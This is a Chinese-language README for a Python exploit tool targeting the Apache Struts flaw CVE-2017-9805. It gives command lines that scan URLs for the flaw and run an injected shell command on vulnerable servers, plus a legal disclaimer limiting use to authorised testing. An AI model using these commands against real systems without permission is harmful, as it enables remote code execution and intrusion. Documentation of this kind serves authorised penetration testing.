apache-struts-pwn - CVE-2017-9805 利用工具

Apache Struts CVE-2017-9805 的利用工具

用法

检查单个URL是否存在漏洞。

python apache-struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3'

检查URL列表是否存在漏洞。

python apache-struts-pwn.py --list 'urls.txt'

利用单个URL。

python apache-struts-pwn.py --exploit --url 'http://example.com/struts2-showcase/index.action' -c 'echo test > /tmp/apache-struts-pwn'

利用URL列表。

python apache-struts-pwn.py --exploit --list 'urls.txt' -c 'echo test > /tmp/apache-struts-pwn'

需求

• Python2 或 Python3
• requests

法律免责声明

本项目仅用于教育和道德测试目的。未经事先双方同意，使用struts-pwn攻击目标是违法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发人员不承担任何责任，也不对因使用本程序造成的任何误用或损害负责。

许可证

本项目采用 MIT 许可证。

作者

Mazin Ahmed

• 网站：https://lonerangerweb.wordpress.com/
• 邮箱：ultimate31337[AT]gmail[DOT]com
• Twitter：https://twitter.com/lon3_rang3r